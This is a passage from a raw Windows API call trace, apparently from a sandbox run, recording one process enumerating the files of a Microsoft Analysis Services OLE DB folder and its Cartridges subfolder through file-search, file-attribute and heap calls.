lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f15bdb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f15bdb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.933] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0088.934] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0088.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1333360 [0088.934] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1333360, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1333360, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0088.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1333360) returned 1 [0088.934] NtClose (Handle=0x180) returned 0x0 [0088.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0088.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0088.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130c370 [0088.936] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e91c0 [0088.937] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f15bdb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f15bdb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.937] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51494530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="")) returned 1 [0088.937] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150a6b00, ftCreationTime.dwHighDateTime=0x1ca2c5f, ftLastAccessTime.dwLowDateTime=0x516cf9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150a6b00, ftLastWriteTime.dwHighDateTime=0x1ca2c5f, nFileSizeHigh=0x0, nFileSizeLow=0x1663968, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="")) returned 1 [0088.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.938] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.938] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.939] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fc50000, ftCreationTime.dwHighDateTime=0x1ca2c5f, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1fc50000, ftLastWriteTime.dwHighDateTime=0x1ca2c5f, nFileSizeHigh=0x0, nFileSizeLow=0x82b958, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0088.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.940] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20f62d00, ftCreationTime.dwHighDateTime=0x1ca2c5f, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20f62d00, ftLastWriteTime.dwHighDateTime=0x1ca2c5f, nFileSizeHigh=0x0, nFileSizeLow=0x63bb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolap100.dll", cAlternateFileName="")) returned 1 [0088.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.942] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.942] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d94800, ftCreationTime.dwHighDateTime=0x1c8e1e0, ftLastAccessTime.dwLowDateTime=0x516cf9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d94800, ftLastWriteTime.dwHighDateTime=0x1c8e1e0, nFileSizeHigh=0x0, nFileSizeLow=0x43618, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.dll", cAlternateFileName="")) returned 1 [0088.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.942] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.943] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="")) returned 1 [0088.943] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="")) returned 0 [0088.943] GetLastError () returned 0x12 [0088.943] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0088.943] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0088.943] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f15bdb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f15bdb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.943] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51494530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="")) returned 1 [0088.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130fc28 [0088.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0088.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130fd30 [0088.944] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51494530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.945] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0088.946] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0088.946] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1333360 [0088.946] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1333360, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1333360, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0088.946] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1333360) returned 1 [0088.946] NtClose (Handle=0x180) returned 0x0 [0088.947] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130fd30) returned 1 [0088.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0088.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130fd30 [0088.947] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0088.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130fe38 [0088.948] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0088.949] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51494530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.949] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0088.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0088.950] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0088.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0088.950] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0088.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0088.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130ff40 [0088.951] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.951] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c10c8 [0088.951] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310048 [0088.951] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0088.951] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0088.951] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0088.952] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0088.952] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0088.952] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0088.952] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0088.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c10e8 [0088.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310150 [0088.953] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0088.953] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x78e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0088.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0088.953] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0088.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0088.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0088.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0088.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1108 [0088.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310258 [0088.955] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0088.955] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x712e, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0088.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0088.955] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0088.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0088.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0088.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0088.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1128 [0088.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310360 [0088.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0088.956] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0088.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0088.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0088.957] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0088.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0088.957] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0088.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1148 [0088.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310468 [0088.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0088.958] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0088.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0088.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0088.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0088.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0088.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0088.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1168 [0088.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310570 [0088.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0088.960] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0088.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0088.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0088.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0088.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0088.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0088.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1188 [0088.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310678 [0088.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0088.961] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0088.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0088.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0088.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0088.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0088.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0088.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c11a8 [0088.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310780 [0088.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0088.963] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0 [0088.963] GetLastError () returned 0x12 [0088.963] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0088.963] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0088.963] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51494530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.963] FindNextFileW (in: 